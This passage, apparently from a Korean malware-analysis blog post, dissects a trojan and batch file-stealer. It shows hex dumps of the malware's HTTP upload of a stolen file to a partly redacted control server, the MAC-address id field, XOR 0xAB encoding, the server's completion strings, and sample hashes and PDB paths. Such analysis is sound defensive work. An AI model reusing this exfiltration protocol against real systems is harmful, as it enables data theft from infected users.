  0080883C  50 4F 53 54 20 2F ?? ?? ?? ?? ?? ?? ?? ?? 2F 42   POST /????????/B
 0080884C  4F 41 52 44 2F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??   OARD/???????????
 0080885C  2F 31 34 30 36 2F 6C 69 73 74 2E 70 68 70 20 48   /1406/list.php H
 0080886C  54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 2D   TTP/1.1..Accept-
 0080887C  45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20   Encoding: gzip,
 0080888C  64 65 66 6C 61 74 65 0D 0A 55 73 65 72 2D 41 67   deflate..User-Ag
 0080889C  65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30   ent: Mozilla/4.0
 008088AC  20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53    (compatible; MS
 008088BC  49 45 20 36 2E 30 3B 20 57 69 6E 64 6F 77 73 20   IE 6.0; Windows
 008088CC  4E 54 20 35 2E 31 3B 20 53 56 31 29 0D 0A 41 63   NT 5.1; SV1)..Ac
 008088DC  63 65 70 74 3A 20 69 6D 61 67 65 2F 67 69 66 2C   cept: image/gif,
 008088EC  20 69 6D 61 67 65 2F 78 2D 78 62 69 74 6D 61 70    image/x-xbitmap
 008088FC  2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C 20 69 6D   , image/jpeg, im
 0080890C  61 67 65 2F 70 6A 70 65 67 2C 20 61 70 70 6C 69   age/pjpeg, appli
 0080891C  63 61 74 69 6F 6E 2F 78 2D 73 68 6F 63 6B 77 61   cation/x-shockwa
 0080892C  76 65 2D 66 6C 61 73 68 2C 20 2A 2A 0D 0A 41 63   ve-flash, **..Ac
 0080893C  63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65   cept-Language: e
 0080894C  6E 2D 75 73 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79   n-us..Content-Ty
 0080895C  70 65 3A 20 6D 75 6C 74 69 70 61 72 74 2F 66 6F   pe: multipart/fo
 0080896C  72 6D 2D 64 61 74 61 3B 62 6F 75 6E 64 61 72 79   rm-data;boundary
 0080897C  3D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   =---------------
 0080898C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 30 34   --------------04
 0080899C  65 32 38 30 30 30 30 35 64 63 62 0D 0A 48 6F 73   e2800005dcb..Hos
 008089AC  74 3A 20 63 ?? ?? 6A 65 6F 6E 2E 63 6F 6D 3A 38   t: c??jeon.com:8
 008089BC  30 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74   0..Content-Lengt
 008089CC  68 3A 20 31 30 34 38 39 32 34 0D 0A 43 6F 6E 6E   h: 1048924..Conn
 008089DC  65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69   ection: Keep-Ali
 008089EC  76 65 0D 0A 43 61 63 68 65 2D 43 6F 6E 74 72 6F   ve..Cache-Contro
 008089FC  6C 3A 20 6E 6F 2D 63 61 63 68 65 0D 0A 0D 0A 00   l: no-cache.....
 00808A0C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

 

아래의 전송하는 데이터 중, 붉은 색으로 표시한 부분은 감염 시스템의 MAC 주소이며, 이를 "id" 값으로 사용함을 알 수 있다.

 

 0080CD6C  0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ..--------------
 0080CD7C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ----------------
 0080CD8C  2D 30 34 65 32 38 30 30 30 30 35 64 63 62 0D 0A   -04e2800005dcb.. 
 0080CD9C  43 6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74   Content-Disposit
 0080CDAC  69 6F 6E 3A 20 66 6F 72 6D 2D 64 61 74 61 3B 20   ion: form-data;
 0080CDBC  6E 61 6D 65 3D 22 69 64 22 0D 0A 0D 0A 30 30 31   name="id"....001
 0080CDCC  64 ?? ?? ?? 36 63 66 37 64 0D 0A 2D 2D 2D 2D 2D   d???6cf7d..-----
 0080CDDC  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ----------------
 0080CDEC  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 30 34 65 32 38 30   ----------04e280
 0080CDFC  30 30 30 35 64 63 62 2D 2D 0D 0A 00 00 00 00 00   0005dcb--....... 

 

아래의 전송하는 데이터를 통해 해당 악성코드 제작자가 중국인으로 추정된다. ("wenjian")

 

  0080861C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D   ----------------
 0080862C  2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 30   ---------------0
 0080863C  34 65 32 38 30 30 30 30 35 64 63 62 0D 0A 43 6F   4e2800005dcb..Co
 0080864C  6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F   ntent-Dispositio
 0080865C  6E 3A 20 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61   n: form-data; na
 0080866C  6D 65 3D 22 77 65 6E 6A 69 61 6E 22 3B 20 66 69   me="wenjian"; fi
 0080867C  6C 65 6E 61 6D 65 3D 22 43 3A 5C 44 4F 43 55 4D   lename="C:\DOCUM
 0080868C  45 7E 31 5C ?? ?? ?? ?? ?? ?? 5C 4C 4F 43 41 4C   E~1\??????\LOCAL
 0080869C  53 7E 31 5C 54 65 6D 70 5C 4E 45 54 55 53 45 52   S~1\Temp\NETUSER
 008086AC  2E 30 30 31 22 0D 0A 43 6F 6E 74 65 6E 74 2D 54   .001"..Content-T
 008086BC  79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E   ype: application
 008086CC  2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 0D   /octet-stream...
 008086DC  0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

 

공격자에게 전송하는 NETUSER.001 파일은 최종 전송과정에서 0xAB로 XOR를 통해 암호화하여 전송된다. 또한, 서버로 부터 받은 데이터 중, 특정 문자열 확인을 통해 전송의 종료여부를 체크하는 것으로 추정된다. 아래는 분석당시 서버로 부터 전달받은 데이터를 나타낸다.

 

 0080CE7C  48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D   HTTP/1.1 200 OK.
 0080CE8C  0A 44 61 74 65 3A 20 57 65 64 2C 20 31 39 20 4E   .Date: Wed, 19 N
 0080CE9C  6F 76 20 32 30 31 34 20 31 32 3A 30 31 3A 34 33   ov 2014 12:01:43
 0080CEAC  20 47 4D 54 0D 0A 53 65 72 76 65 72 3A 20 4D 69    GMT..Server: Mi
 0080CEBC  63 72 6F 73 6F 66 74 2D 49 49 53 2F 35 2E 30 0D   crosoft-IIS/5.0.
 0080CECC  0A 58 2D 50 6F 77 65 72 65 64 2D 42 79 3A 20 50   .X-Powered-By: P
 0080CEDC  48 50 2F 35 2E 32 2E 31 37 0D 0A 43 6F 6E 74 65   HP/5.2.17..Conte
 0080CEEC  6E 74 2D 4C 65 6E 67 74 68 3A 20 36 0D 0A 4B 65   nt-Length: 6..Ke
 0080CEFC  65 70 2D 41 6C 69 76 65 3A 20 74 69 6D 65 6F 75   ep-Alive: timeou
 0080CF0C  74 3D 35 2C 20 6D 61 78 3D 31 30 30 0D 0A 43 6F   t=5, max=100..Co
 0080CF1C  6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41   nnection: Keep-A
 0080CF2C  6C 69 76 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79   live..Content-Ty
 0080CF3C  70 65 3A 20 74 65 78 74 2F 68 74 6D 6C 0D 0A 0D   pe: text/html...
 0080CF4C  0A 63 68 67 6F 6E 67 00 00 00 00 00 00 00 00 00   .chgong.........
 0080CF5C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

 

"rar.exe" 파일에 대한 다운로드를 성공적으로 수행했는지 여부를 체크한 것과 유사한 방식으로 서버로 부터 전달받은 버퍼 중, 특정 문자열 패턴의 존재여부를 체크한다.

 

(1) "HTTP/1.1 200 OK" 문자열이 존재해야 함.

 

(2) CR,LF,CR,LF (0x0D, 0x0A, 0x0D, 0x0A) 다음에 "sibai" 라는 문자열이 존재하는 지 체크.

 

모든 과정이 종료된 후, %TEMP% 폴더의 "NETUSER.001"과 "ebgEC50.bat"은 삭제된다.

 

 

[4] 분석파일들

 

(1) Isass.exe (md5: E60958951B83B52A328C4E4E2EB58C6C) - Trojan/Win32.Compfolder

(2) rar.exe (070D15CD95C14784606ECAA88657551E) - 정상파일

(3) ebgEC50.bat (md5: 0C256742B5A396CC4DD8BBAC7C69F556) - BAT/Filestealer

 

 

[5] 유사 파일들에 대한 PDB정보

 

(1)Isass.exe

- V3: Trojan/Win32.Compfolder

- md5: b0d0a27bcc9d6e6a549782e1f6a934ee

- PDB: F:\WorkingSource\First_Stage\CompressFolder\Release\CompressFolder.pdb

 

(2) svchost.exe

- V3: Trojan/Win32.Compfolder

- md5: ebd638798aa7920151f1fd3197403ef0

- PDB: F:\WorkingSource\First_Stage\svchost(excute exe)\Release\svchost.pdb

 

(3) svchost.exe

- V3: Trojan/Win32.Compfolder

- md5: 54758b6fafa545f09bf2fff82b3b343b

- PDB" F:\WorkingSource\SecondStage\svchost(service install)X86\Release\svchost.pdb

 

(4) svchost.exe

- V3: Trojan/Win32.Compfolder

- md5: 85d85a6075a04ae24fb5c0004405d548

- PDB: G:\MyCreateProject\MyActive\svchost(excute exe)\Release\svchost.pdb

 

(5) lsuss.exe

- V3: Trojan/Win32.Compfolder

- md5: 4c062c27bf2ff9ba71abd9682eb17c93

- PDB: F:\WorkingSource\Util\KeyLog\Release\Keylog.pdb

 

(6) USASS.EXE 

- V3: Trojan/Win32.Compfolder

- md5: 3bb9d56cb39d0422964f781d8d948cb8

- PDB: G:\MyProject\1st\CompressFolder\Release\CompressFolder.pdb

 

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung